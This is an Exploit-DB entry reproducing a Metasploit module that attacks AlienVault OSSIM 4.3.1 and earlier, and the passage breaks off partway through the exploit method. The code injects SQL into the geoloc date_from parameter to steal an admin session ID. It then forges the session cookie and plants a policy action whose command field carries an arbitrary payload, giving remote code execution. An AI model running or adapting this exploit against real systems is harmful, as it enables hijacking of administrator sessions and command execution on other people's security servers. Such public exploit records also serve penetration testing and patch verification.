Exploit-DB #33141
Description: Alienvault Open Source SIEM (OSSIM) - SQL Injection / Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2014-05-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AlienVault OSSIM SQL Injection and Remote Code Execution",
      'Description'    => %q{
        This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
        OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
        active admin session ID.  If an administrator level user is identified, remote code execution
        can be gained by creating a high priority policy with an action containing our payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Sasha Zivojinovic', # SQLi discovery
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          ['OSVDB', '106252'],
          ['EDB', '33006']
        ],
      'DefaultOptions'  =>
        {
          'SSL'      => true,
          'WfsDelay' => 10
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Compat'      =>
            {
              'RequiredCmd' => 'generic perl python',
            }
        },
      'Targets'        =>
        [
          ['Alienvault OSSIM 4.3', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Apr 24 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
        ], self.class)
  end


  def check
    marker = rand_text_alpha(6)
    sqli_rand = rand_text_numeric(4+rand(4))
    sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
    sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
      'vars_get' => { 'date_from' => sqli }
    })

    if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
      return Exploit::CheckCode::Vulnerable
    else
      print_status("#{res.body}")
      return Exploit::CheckCode::Safe
    end

  end


  def exploit
    marker = rand_text_alpha(6)
    sqli_rand = rand_text_numeric(4+rand(4))
    sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
    sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"

    print_status("#{peer} - Trying to grab admin session through SQLi")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
      'vars_get' => { 'date_from' => sqli }
    })

    if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
      admin_session = $1
      @cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
      print_status("#{peer} - Admin session cookie is [ #{@cookie} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
    end

    # Creating an Action containing our payload, which will be executed by any event (not only alarms)
    action = rand_text_alpha(8+(rand(8)))
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
      'cookie' => @cookie,
      'vars_post' => {
        'action' => 'new',
        'action_name' => action,
        'descr' => action,
        'action_type' => '2',
        'only' => 'on',
        'cond' => 'True',
        'exec_command' => payload.encoded
      }
    })

    if res && res.code == 200
      print_status("#{peer} - Created Action [ #{action} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
    end

    # Retrieving the Action ID, used to clean up the action after successful exploitation
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
      'cookie' => @cookie,
      'vars_post' => {
        'page' => '1',
        'rp'   => '2000'
      }
    })

    if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
      @action_id = $1
      print_status("#{peer} - Action ID is [ #{@action_id} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
    end

    # Retrieving the policy data, necessary for proper cleanup after succesful exploitation
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
      'cookie' => @cookie,
      'vars_get' => {
        'm_opt' => 'configuration',
        'sm_opt' => 'threat_intelligence',
        'h_opt' => 'policy'
      }
    })

    if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
      policy_ctx = $1
      policy_group = $2
      print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
    else
      fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
    end

    # Creating policy which will be triggered by any source/destination
    policy =